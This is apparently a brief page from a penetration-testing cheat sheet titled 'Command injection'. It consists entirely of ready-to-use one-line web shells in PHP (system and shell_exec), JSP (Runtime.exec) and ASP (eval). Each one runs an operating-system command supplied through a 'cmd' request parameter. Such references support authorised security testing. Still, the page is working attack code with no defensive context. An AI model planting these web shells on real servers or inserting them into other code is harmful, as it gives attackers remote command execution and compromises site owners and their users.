Command injection


Scripts

chevron-rightPHP - script.phphashtag
#System REQUEST method
<?php system($_REQUEST["cmd"]); ?>

#Shell_exec REQUEST method
<?php echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>"; ?>
chevron-rightJSP - script.jsphashtag
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>
chevron-rightASP - script.asphashtag
<% eval request("cmd") %>

Last updated